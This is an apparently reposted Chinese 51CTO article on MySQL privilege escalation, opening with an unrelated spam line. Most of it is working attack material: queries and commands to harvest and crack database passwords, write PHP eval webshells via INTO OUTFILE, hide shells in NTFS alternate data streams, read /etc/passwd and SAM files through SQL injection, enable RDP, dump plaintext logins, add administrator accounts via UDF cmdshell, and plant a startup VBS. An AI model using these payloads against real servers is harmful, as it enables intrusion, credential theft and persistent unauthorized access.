自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

關(guān)系型數(shù)據(jù)庫管理系統(tǒng)MySQL提權(quán)基礎(chǔ)

原創(chuàng)
安全 數(shù)據(jù)安全 應(yīng)用安全
MySQL是一種關(guān)聯(lián)數(shù)據(jù)庫管理系統(tǒng),關(guān)聯(lián)數(shù)據(jù)庫將數(shù)據(jù)保存在不同的表中,而不是將所有數(shù)據(jù)放在一個大倉庫內(nèi),這樣就增加了速度并提高了靈活性。

【51CTO.com原創(chuàng)稿件】MySQL是一個中、小型關(guān)系型數(shù)據(jù)庫管理系統(tǒng),由瑞典MySQL AB公司開發(fā),目前屬于Oracle公司。MySQL是一種關(guān)聯(lián)數(shù)據(jù)庫管理系統(tǒng),關(guān)聯(lián)數(shù)據(jù)庫將數(shù)據(jù)保存在不同的表中,而不是將所有數(shù)據(jù)放在一個大倉庫內(nèi),這樣就增加了速度并提高了靈活性。MySQL的SQL語言是用于訪問數(shù)據(jù)庫的最常用標(biāo)準(zhǔn)化語言。MySQL軟件采用了GPL(GNU通用公共許可證),它分為免費(fèi)版和商業(yè)版,由于其體積小、速度快、總體擁有成本低,尤其是開放源碼這一特點(diǎn),一般中小型網(wǎng)站的開發(fā)都選擇MySQL作為網(wǎng)站數(shù)據(jù)庫。由于其免費(fèi)版的性能卓越,搭配PHP和Apache可組成良好的開發(fā)環(huán)境,MySQL 分為商業(yè)版本(MySQL Enterprise Edition和 MySQL Cluster CGE )和GPL版本(MySQL Community Edition)(開發(fā)版下載地址)。

一、Mysql提權(quán)必備條件

1.服務(wù)器安裝Mysql數(shù)據(jù)庫

利用Mysql提權(quán)的前提就是服務(wù)器安裝了mysql數(shù)據(jù)庫,且mysql的服務(wù)沒有降權(quán),Mysql數(shù)據(jù)庫默認(rèn)安裝是以系統(tǒng)權(quán)限繼承的,并且需要獲取Mysql root賬號密碼。

2.判斷Mysql服務(wù)運(yùn)行權(quán)限

對于Mysql數(shù)據(jù)庫服務(wù)運(yùn)行權(quán)限有很多方法,我這里主要介紹三種,一種是通過查看系統(tǒng)賬號,也即使用“net user”命令查看系統(tǒng)當(dāng)前賬號,如果出現(xiàn)了mysql這類用戶,以為著系統(tǒng)可能進(jìn)行了降權(quán),一般情況都不會降權(quán)。第二種方法就是看mysqld運(yùn)行的Priority值,如下圖所示。通過aspx的網(wǎng)頁木馬來查看Process信息,在圖中我們可以看到系統(tǒng)權(quán)限的Priority值為“8 ”,如果Mysqld的Priority值也為8則意味著Mysql是以System權(quán)限運(yùn)行的。第三種方法是查看端口可否外聯(lián),一般情況下是不允許root等賬號外聯(lián),外部直接連接意味著賬號可能被截取和嗅探,通過本地客戶端直接連接對方服務(wù)器,直接查看和操作Mysql數(shù)據(jù)庫,可以通過掃描3306端口來判斷是否提供對外連接。 

關(guān)系型數(shù)據(jù)庫管理系統(tǒng)MySQL提權(quán)基礎(chǔ)

查看Priority值來判斷Mysqld服務(wù)運(yùn)行權(quán)限

二、Mysql密碼獲取與破解

1.獲取網(wǎng)站數(shù)據(jù)庫賬號和密碼

對于CMS系統(tǒng),一定會有一個文件定義了數(shù)據(jù)庫連接的用戶和密碼。例如以下代碼:

  1. $db['default']['hostname'] = 'localhost'
  2. $db['default']['username'] = 'root'
  3. $db['default']['password'] = '123456'
  4. $db['default']['database'] = 'crm'

dedecms數(shù)據(jù)庫安裝的信息就是寫在data/common.inc.php,Discuz的數(shù)據(jù)庫信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般數(shù)據(jù)庫配置文件都會位于config、application、conn、db等目錄,配置文件名稱一般會是conn.asp/php/aspx/jsp等。對于java會在/WEB-INF/config/config.properties中配置,總之通過查看源代碼,進(jìn)行層層分析,終究會發(fā)現(xiàn)數(shù)據(jù)庫配置文件。

對于Linux操作系統(tǒng),除了上述方法獲取root賬號密碼外,還可以通過查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密碼。當(dāng)然對于Mysql5.6以下版本,由于設(shè)計(jì)Mysql程序時對于安全性的重視度非常低,用戶密碼是明文傳輸。MySQL對于binary log中和用戶密碼相關(guān)的操作是不加密的。如果你向MySQL發(fā)送了例如create user,grant user ... identified by這樣的攜帶初始明文密碼的指令,那么會在binary log中原原本本的被還原出來,執(zhí)行“mysqlbinlog binlog.000001”命令即可獲取,如下圖所示。

關(guān)系型數(shù)據(jù)庫管理系統(tǒng)MySQL提權(quán)基礎(chǔ)

查看binlog日志

2.獲取Mysql數(shù)據(jù)庫user表

MYSQL所有設(shè)置默認(rèn)都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安裝程序的data目錄下,有關(guān)用戶一共有三個文件即user.frm、user.MYD和 user.MYI,MYSQL數(shù)據(jù)庫用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶的密碼。在有權(quán)限的情況下,我們可以將User.frm、user.myd和User.myi三個文件下載到本地,通過本地的mysql環(huán)境直接讀取user表中的數(shù)據(jù)。當(dāng)然也可使用文本編輯器將user.MYD打開將root賬號的密碼復(fù)制出來到到cmd5.com進(jìn)行查詢和破解。對于Mysql數(shù)據(jù)庫密碼如果通過cmd5.com等網(wǎng)站不能查詢到密碼則需要自己手動破解,有關(guān)Mysql數(shù)據(jù)庫密碼手動破解,請查閱下一章。

3.Mysql密碼查詢

可以通過以下查詢語句直接查詢mysql數(shù)據(jù)庫中的所有用戶和密碼。

  1. select user,password from mysql.user
  2. select user,password from mysql.user where user ='root'

4.MySQL密碼加密算法

MySQL實(shí)際上是使用了兩次SHA1夾雜一次unhex的方式對用戶密碼進(jìn)行了加密。具體的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通過查詢語句進(jìn)行驗(yàn)證,查詢結(jié)果如下圖所示。

  1. select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));  

圖3mysql數(shù)據(jù)庫加密算法

mysql數(shù)據(jù)庫加密算法

三、Mysql獲取webshell

Mysql root賬號網(wǎng)站獲取webshell具備的條件:

1.知道站點(diǎn)物理路徑,網(wǎng)站物理途徑可以通過phpinfo函數(shù)、登錄后臺查看系統(tǒng)屬性、文件出錯信息、查看網(wǎng)站源代碼以及路徑猜測等方法獲取。

2.有足夠大的權(quán)限,最好是root賬號權(quán)限或者具備root權(quán)限的其它賬號,可以用select user,password from mysql.user進(jìn)行測試。

3.magic_quotes_gpc()=OFF。對于PHP magic_quotes_gpc=on的情況,可以不對輸入和輸出數(shù)據(jù)庫的字符串?dāng)?shù)據(jù)作addslashes()和stripslashes()的操作,數(shù)據(jù)也會正常顯示。 對于PHP magic_quotes_gpc=off 的情況必須使用addslashes()對輸入數(shù)據(jù)進(jìn)行處理,但并不需要使用stripslashes()格式化輸出,因?yàn)閍ddslashes()并未將反斜杠一起寫入數(shù)據(jù)庫,只是幫助mysql完成了sql語句的執(zhí)行。

4.直接導(dǎo)出webshell,執(zhí)行下面語句

  1. Select '<?php eval($_POST[cmd])?>' into outfile '物理路徑'
  2. and 1=2 union all select 一句話HEX值 into outfile '路徑'

也可以通過創(chuàng)建表來直接完成,其中d:/www/exehack.php為webshell的名稱和路徑:

  1. CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); 
  2. INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); 
  3. SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php'
  4. DROP TABLE IF EXISTS `darkmoon`; 

5.有些情況下掌握了MSSQL數(shù)據(jù)庫口令,但服務(wù)器環(huán)境是Windows2008,web環(huán)境是PHP,則可以通過SQLTOOLs工具,直接連接命令,通過以下命令寫入shell:

  1. echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php 

四、Mysql滲透有用的一些技巧總結(jié)

1.常見的有助于滲透到mysql函數(shù)

在對MySQL數(shù)據(jù)庫架構(gòu)的滲透中,MySQL內(nèi)置的函數(shù)DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用來獲取一些系統(tǒng)的信息,而load_file()作用是讀入文件,并將文件內(nèi)容作為一個字符串返回,這在滲透中尤其有用,例如發(fā)現(xiàn)一個php的SQL注入點(diǎn),則可以通過構(gòu)造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”來獲取boot.ini文件的內(nèi)容。

(1)一些常見的系統(tǒng)配置文件

  1. c:/boot.ini //查看系統(tǒng)版本 
  2. c:/windows/php.ini //php配置信息 
  3. c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼 
  4. c:/winnt/php.ini 
  5. c:/winnt/my.ini 
  6. c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數(shù)據(jù)庫連接密碼 
  7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機(jī)網(wǎng)站路徑和密碼 
  8. c:\Program Files\Serv-U\ServUDaemon.ini 
  9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機(jī)配置 
  10. c:\windows\repair\sam //存儲了WINDOWS系統(tǒng)初次安裝的密碼 
  11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲于此 
  12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
  13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 
  14. //存儲了pcAnywhere的登陸密碼 
  15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統(tǒng)apache文件 
  16. c:/Resin-3.0.14/conf/resin.conf //查看jsp開發(fā)的網(wǎng)站 resin文件配置信息. 
  17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機(jī) 
  18. d:\APACHE\Apache2\conf\httpd.conf 
  19. C:\Program Files\mysql\my.ini 
  20. C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼 

LUNIX/UNIX 下:

  1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  
  2. /usr/local/apache2/conf/httpd.conf  
  3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置  
  4. /usr/local/app/php5/lib/php.ini //PHP相關(guān)設(shè)置 
  5. /etc/sysconfig/iptables //從中得到防火墻規(guī)則策略  
  6. /etc/httpd/conf/httpd.conf // apache配置文件  
  7. /etc/rsyncd.conf //同步程序配置文件  
  8. /etc/my.cnf //mysql的配置文件  
  9. /etc/redhat-release //系統(tǒng)版本  
  10. /etc/issue  
  11. /etc/issue.net  
  12. /usr/local/app/php5/lib/php.ini //PHP相關(guān)設(shè)置 
  13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置  
  14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機(jī)配置文件  
  15. /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看  
  16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機(jī)查看  
  18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機(jī)配置文件  
  19. /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看  
  20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機(jī)查看  
  22. /etc/sysconfig/iptables 查看防火墻策略 
  23. load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄 
  24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
  25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 

(2)直接讀取配置文件

  1. SELECT LOAD_FILE('/etc/passwd' ) 
  2. SELECT LOAD_FILE('/etc/issues' ) 
  3. SELECT LOAD_FILE('/etc/etc/rc.local' ) 
  4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) 
  5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) 

(3)Linux下通過load_file函數(shù)讀出來的數(shù)據(jù)庫有可能是hex編碼,要正常查看需要使用NotePad將將以上代碼全部選中,然后選擇插件“Converter”-“HEX-ASCII”進(jìn)行轉(zhuǎn)換。

2. Windows下MySQL提權(quán)時無法創(chuàng)建目錄解決辦法及數(shù)據(jù)流隱藏Webshell

NTFS中的ADS(交換數(shù)據(jù)流)可以建立目錄,隱藏webshell等等。

(1) Mysql創(chuàng)建目錄

當(dāng)MySQL版本較高時,自定義函數(shù)的dll需要放在mysql目錄下的lib\plugin\。一般普通的腳本是沒有在這個文件夾下創(chuàng)建文件夾的權(quán)限的。這里可以用到ads來突破:

  1. select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION'

會在mysql目錄下生成一個lib目錄,這樣你就可以將你的udf放在這個插件目錄下了。

(2)隱藏webshell

在服務(wù)器上echo一個數(shù)據(jù)流文件進(jìn)去,比如index.php是網(wǎng)頁正常文件,我們可以這樣子搞:

  1. echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg 

這樣子就生成了一個不可見的shell a.jpg,常規(guī)的文件管理器、type命令,dir命令、del命令發(fā)現(xiàn)都找不出那個a.jpg的。我們可以在另外一個正常文件里把這個ADS文件include進(jìn)去,這樣子就可以正常解析我們的一句話了。

3.有用的一些技巧

(1)3389端口命令行下獲取總結(jié)

  1. netstat -an |find "3389" 查看3389端口是否開放 
  2. tasklist /svc | find "TermService" 獲取對應(yīng)TermService的PID號 
  3. netstat -ano | find '1340' 查看上面獲取的PID號對應(yīng)的TCP端口號 

(2)Windows 2008Server命令行開啟3389

  1. wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 
  2. wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 
  3. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v 

(3)wce64 -w 命令直接獲取系統(tǒng)明文登錄密碼

(4)在phpinfo中查找SCRIPT_FILENAME關(guān)鍵字獲取真實(shí)路徑

(5)Linux終端提示符下查看mysql有關(guān)信息,ps -ef|grep mysql

(6)Linux下啟動mysql服務(wù): service mysqld start

(7)Linux下查看mysqld是否啟動:ps -el | grep mysqld

(8)查看mysql在哪里:whereis mysql

(9)查詢運(yùn)行文件所在路徑 which mysql

(10)udf.dll提權(quán)常見函數(shù)

  • cmdshell 執(zhí)行cmd;
  • downloader 下載者,到網(wǎng)上下載指定文件并保存到指定目錄;
  • open3389 通用開3389終端服務(wù),可指定端口(不改端口無需重啟);
  • backshell 反彈Shell;
  • ProcessView 枚舉系統(tǒng)進(jìn)程;
  • KillProcess 終止指定進(jìn)程;
  • regread 讀注冊表;
  • regwrite 寫注冊表;
  • shut 關(guān)機(jī),注銷,重啟;
  • about 說明與幫助函數(shù);

具體用戶示例:

  1. select cmdshell('net user iis_user 123!@#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

4.一些常見的Mysql命令

(1)連接到mysql 服務(wù)器

  1. mysql -h 192.168.0.1 -u root -pantian365.com antian365 

(2)查看所有數(shù)據(jù)庫

  1. show databases; 

(3)使用某個數(shù)據(jù)庫

  1. use testdatabase; 

(4)查看數(shù)據(jù)庫中的所有表

  1. show tables; 

(5)在test數(shù)據(jù)庫下創(chuàng)建一個新的表

  1. create table a (cmd text); 

(6)在表中插入內(nèi)容添加用戶命令

  1. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  2. nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );  
  3. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " ); 

(7)查詢a表中所有的數(shù)據(jù)

  1. select * from a 

(8)導(dǎo)出數(shù)據(jù)到系統(tǒng)某個目錄下

  1. select * from a into outfile "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啟動\\a.vbs"

(9)查詢數(shù)據(jù)庫數(shù)據(jù)路徑

  1. select @@datadir; 

(10)查看所有dir路徑

  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 

(11)查看插件路徑

  1. show variables like '%plugins%' ; 

(12)查詢MYSQL安裝路徑

  1. select @@basedir 

(13)常用內(nèi)置函數(shù)

  1. select system_user() 查看系統(tǒng)用戶 
  2. select current_user() 查詢當(dāng)前用戶 
  3. select user(); 查詢用戶 
  4. SELECT version() 查詢數(shù)據(jù)庫版本 
  5. SELECT database() 查詢當(dāng)前連接的數(shù)據(jù)庫 
  6. select @@version_compile_os 查詢當(dāng)前操作系統(tǒng) 
  7. select now(); 顯示當(dāng)前時間 

(14)獲取表結(jié)構(gòu)

  1. desc 表名 或者show columns from 表名 

(15)刪除表

  1. drop table <表名> 

注:本文是筆者撰寫的Mysql安全系列文章的第一期,后續(xù)我們會持續(xù)推出,敬請期待。

參考文章:

http://www.jb51.net/hack/41493.html

http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/

http://www.myhack58.com/Article/html/3/8/2016/75694.htm

http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html

【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請注明原文作者和出處為51CTO.com】

責(zé)任編輯:武曉燕 來源: 51CTO專欄
相關(guān)推薦

2017-02-28 09:34:21

2017-03-07 08:50:17

2018-07-18 09:16:39

關(guān)系型非關(guān)系型數(shù)據(jù)庫

2016-10-31 23:00:58

MySQLMOF方法提權(quán)數(shù)據(jù)庫安全

2021-09-06 10:24:12

鴻蒙HarmonyOS應(yīng)用

2017-03-17 14:44:04

關(guān)系型數(shù)據(jù)庫原理

2010-12-10 10:17:21

關(guān)系型數(shù)據(jù)庫

2022-06-13 08:30:01

數(shù)據(jù)庫管理系統(tǒng)

2013-04-26 16:18:29

大數(shù)據(jù)全球技術(shù)峰會

2022-12-27 08:38:45

關(guān)系型數(shù)據(jù)庫設(shè)計(jì)

2016-08-23 14:25:19

MySQL約束數(shù)據(jù)庫

2021-01-26 13:31:48

數(shù)據(jù)庫關(guān)系型數(shù)據(jù)庫冗余

2023-05-20 08:11:55

2023-05-22 16:10:51

動態(tài)共享包數(shù)據(jù)庫

2021-07-28 14:40:57

鴻蒙HarmonyOS應(yīng)用

2022-07-27 08:32:01

數(shù)據(jù)庫MySQL

2017-12-22 09:58:32

MySQLGPU機(jī)器學(xué)習(xí)

2023-08-01 14:35:00

關(guān)系數(shù)據(jù)庫排列

2018-03-26 12:58:52

數(shù)據(jù)庫OracleMySQL

2013-06-28 11:28:21

Facebook數(shù)據(jù)庫大數(shù)據(jù)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號